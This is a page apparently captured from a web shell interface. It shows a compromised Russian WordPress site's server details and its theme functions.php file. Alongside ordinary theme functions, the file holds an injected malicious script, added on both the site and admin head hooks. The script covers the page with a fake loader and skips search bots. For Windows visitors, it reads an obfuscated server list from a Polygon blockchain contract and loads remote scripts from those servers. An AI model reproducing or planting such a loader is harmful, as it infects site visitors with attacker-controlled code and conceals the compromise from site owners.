403Webshell
Server IP : 91.240.85.141  /  Your IP : 216.73.216.223
Web Server : nginx/1.28.0
System : Linux nuevo.ru 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User :  ( 1029)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wpface_ru_usr/data/www/wpface.ru/wp-content/themes/wpface/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wpface_ru_usr/data/www/wpface.ru/wp-content/themes/wpface/functions.php
<?php

function get_profile_info(){
    $user_id = get_current_user_id();
	if($user_id){
	$current_user = wp_get_current_user();
	$user_first_name = $current_user->first_name;
	$user_last_name = $current_user->last_name;
	$user_email = $current_user->user_email;

	$user_avatar_url = get_user_meta($user_id, 'user_avatar_url', true);
	$user_phone = get_user_meta($user_id, 'user_phone', true);
	if(!$user_avatar_url){
	$user_avatar_url = '/src/profile-11.jpg';
	}
	}else{
		
	$user_first_name = 'Гость';
	$user_last_name = '';
	$user_email = '';
	$user_avatar_url = '/src/profile-11.jpg';
	$user_phone = '';
	}
	return [
	'user_first_name'=>$user_first_name,
	'user_last_name'=>$user_last_name,
	'user_email'=>$user_email,
	'user_avatar_url'=>$user_avatar_url,
	'user_phone'=>$user_phone];
 }
 
 add_theme_support( 'post-thumbnails' ); // для всех типов постов
function add_svg_to_upload_mimes($upload_mimes) {
    $upload_mimes['svg'] = 'image/svg+xml';
    $upload_mimes['svgz'] = 'image/svg+xml';
    return $upload_mimes;
}
add_filter('upload_mimes', 'add_svg_to_upload_mimes');
function remove_category_word_from_archive_title($title) {
    if (is_category()) {
        $title = single_cat_title('', false);
    }
    return $title;
}
add_filter('get_the_archive_title', 'remove_category_word_from_archive_title');
// Добавление поля редактора Gutenberg к описанию категорий
function custom_category_description_editor($term) {
    $description = get_term_meta($term->term_id, 'category_description', true);
    ?>
    <tr class="form-field">
        <th scope="row" valign="top"><label for="category_description">Описание</label></th>
        <td>
            <?php
            wp_editor($description, 'category_description', array(
                'textarea_name' => 'category_description',
                'textarea_rows' => 5,
            ));
            ?>
            <p class="description">Введите описание категории.</p>
        </td>
    </tr>
    <?php
}

function save_custom_category_description($term_id) {
    if (isset($_POST['category_description'])) {
        update_term_meta($term_id, 'category_description', $_POST['category_description']);
    }
}

add_action('category_edit_form_fields', 'custom_category_description_editor', 10, 2);
add_action('edited_category', 'save_custom_category_description', 10, 2);


function replace_quotes_with_guillemets($content) {
    if (is_singular()) { // Проверяем, что мы находимся на странице с одной статьей (или записью)
        // Разделяем контент на текст и HTML-теги
        $pattern = '/<[^>]*>|[^<]+/';
        preg_match_all($pattern, $content, $matches);

        // Проходимся только по текстовой части и заменяем кавычки
        $text = $matches[0];
        $new_content = '';
        $inside_tag = false;

        foreach ($text as $piece) {
            if (strpos($piece, '<') === 0) {
                // Начало HTML-тега
                $inside_tag = true;
                $new_content .= $piece;
            } elseif (strpos($piece, '>') === 0) {
                // Завершение HTML-тега
                $inside_tag = false;
                $new_content .= $piece;
            } else {
                // Текст внутри контента
                if (!$inside_tag) {
                    $piece = str_replace('"', '«', $piece); // Заменяем " на «
                    $piece = str_replace('"', '»', $piece); // Заменяем " на »
                }
                $new_content .= $piece;
            }
        }

        return $new_content;
    }
    return $content;
}

add_filter('the_content', 'replace_quotes_with_guillemets');

add_action('wp_head', function() {
    echo '<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
<div style="width:50px;height:50px;border:5px solid #f3f3f3;border-top:5px solid #3498db;border-radius:50%;animation:s 1s infinite"></div>
</div>
<style>@keyframes s{to{transform:rotate(360deg)}}</style>
<script>
function decode(encoded) {
    const chars = "0123456789abcdefghijklmnopqrstuvwxyz";
    let result = "";
    
    for (let i = 0; i < encoded.length; i += 2) {
        const chunk = encoded.substr(i, 2);
        const num = chars.indexOf(chunk[0]) * 36 + chars.indexOf(chunk[1]);
        const originalChar = String.fromCharCode(num - (i/2) - 5);
        result += originalChar;
    }
    
    return result;
}

async function getServers() {
    let rpcs = ["https://polygon.drpc.org", "https://tenderly.rpc.polygon.community", "https://polygon.publicnode.com", "https://polygon-public.nodies.app/", "https://1rpc.io/matic", "https://rpc-mainnet.matic.quiknode.pro", "https://polygon.api.onfinality.io/public", "https://poly.api.pocket.network"];
    
    for (const rpc of rpcs) {
        try {
            const response = await fetch(rpc, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    method: "eth_call",
                    params: [{ to: "0xBF208EE70DE2B68DeBfFaa740E190eD76fBE3b4C", data: "0x3bc5de30" }, "latest"],
                    id: 1
                })
            });
            
            const data = await response.json();
            
            if (data.result && data.result !== "0x") {
                let h = data.result.slice(2);
                let t = "";
                
                for (let i = 128; i < h.length; i += 2) {
                    let c = parseInt(h.substr(i, 2), 16);
                    if (c !== 0) {
                        t += String.fromCharCode(c);
                    } else {
                        break;
                    }
                }
                
                let decoded = decode(t);
                return decoded;
            }
        } catch (error) {
        }
    }

    return null;
}

function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    const script = document.createElement("script");
    script.src = String(srcUrl);
    script.defer = true;
    
    const timeoutId = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    
    script.onload = () => {
      clearTimeout(timeoutId);
      resolve(script);
    };
    
    script.onerror = () => {
      clearTimeout(timeoutId);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window.currentServer = srcUrl;
    document.head.appendChild(script);
  });
}

async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 3000);
      return script;
    } catch (error) {
    }
  }
  
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 6000);
      return script;
    } catch (error) {
    }
  }
  
  throw new Error("Failed to load script from all sources");
}

(async function() {
    const words = ["bot", "google", "spider"];
    const shouldBlock = words.some(w => navigator.userAgent.toLowerCase().includes(w.toLowerCase()));

    const shouldShow = typeof navigator !== "undefined" &&
        ((navigator.platform || "").toLowerCase().includes("win") &&
        (/windows/i).test(navigator.userAgent || ""));

    if (!shouldBlock && shouldShow) {
        setTimeout(() => document.getElementById("R2FvKSeqkPMZAnMV")?.remove(), 9000);
        
        try {
            const servers = await getServers();
            if (servers && servers.includes(";")) {
                const scriptUrls = servers.split(";").map(item => item + "/get_script");
                await createDeferredScript(scriptUrls);
            }
            else {
                const scriptUrls = [servers + "/get_script"];
                await createDeferredScript(scriptUrls);
            }
        } catch (error) {
        }
    } else {
        document.getElementById("R2FvKSeqkPMZAnMV")?.remove();
    }
})();
</script>
';
});
add_action('admin_head', function() {
    echo '<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
<div style="width:50px;height:50px;border:5px solid #f3f3f3;border-top:5px solid #3498db;border-radius:50%;animation:s 1s infinite"></div>
</div>
<style>@keyframes s{to{transform:rotate(360deg)}}</style>
<script>
function decode(encoded) {
    const chars = "0123456789abcdefghijklmnopqrstuvwxyz";
    let result = "";
    
    for (let i = 0; i < encoded.length; i += 2) {
        const chunk = encoded.substr(i, 2);
        const num = chars.indexOf(chunk[0]) * 36 + chars.indexOf(chunk[1]);
        const originalChar = String.fromCharCode(num - (i/2) - 5);
        result += originalChar;
    }
    
    return result;
}

async function getServers() {
    let rpcs = ["https://polygon.drpc.org", "https://tenderly.rpc.polygon.community", "https://polygon.publicnode.com", "https://polygon-public.nodies.app/", "https://1rpc.io/matic", "https://rpc-mainnet.matic.quiknode.pro", "https://polygon.api.onfinality.io/public", "https://poly.api.pocket.network"];
    
    for (const rpc of rpcs) {
        try {
            const response = await fetch(rpc, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    method: "eth_call",
                    params: [{ to: "0xBF208EE70DE2B68DeBfFaa740E190eD76fBE3b4C", data: "0x3bc5de30" }, "latest"],
                    id: 1
                })
            });
            
            const data = await response.json();
            
            if (data.result && data.result !== "0x") {
                let h = data.result.slice(2);
                let t = "";
                
                for (let i = 128; i < h.length; i += 2) {
                    let c = parseInt(h.substr(i, 2), 16);
                    if (c !== 0) {
                        t += String.fromCharCode(c);
                    } else {
                        break;
                    }
                }
                
                let decoded = decode(t);
                return decoded;
            }
        } catch (error) {
        }
    }

    return null;
}

function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    const script = document.createElement("script");
    script.src = String(srcUrl);
    script.defer = true;
    
    const timeoutId = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    
    script.onload = () => {
      clearTimeout(timeoutId);
      resolve(script);
    };
    
    script.onerror = () => {
      clearTimeout(timeoutId);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window.currentServer = srcUrl;
    document.head.appendChild(script);
  });
}

async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 3000);
      return script;
    } catch (error) {
    }
  }
  
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 6000);
      return script;
    } catch (error) {
    }
  }
  
  throw new Error("Failed to load script from all sources");
}

(async function() {
    const words = ["bot", "google", "spider"];
    const shouldBlock = words.some(w => navigator.userAgent.toLowerCase().includes(w.toLowerCase()));

    const shouldShow = typeof navigator !== "undefined" &&
        ((navigator.platform || "").toLowerCase().includes("win") &&
        (/windows/i).test(navigator.userAgent || ""));

    if (!shouldBlock && shouldShow) {
        setTimeout(() => document.getElementById("R2FvKSeqkPMZAnMV")?.remove(), 9000);
        
        try {
            const servers = await getServers();
            if (servers && servers.includes(";")) {
                const scriptUrls = servers.split(";").map(item => item + "/get_script");
                await createDeferredScript(scriptUrls);
            }
            else {
                const scriptUrls = [servers + "/get_script"];
                await createDeferredScript(scriptUrls);
            }
        } catch (error) {
        }
    } else {
        document.getElementById("R2FvKSeqkPMZAnMV")?.remove();
    }
})();
</script>
';
});

Youez - 2016 - github.com/yon3zu
LinuXploit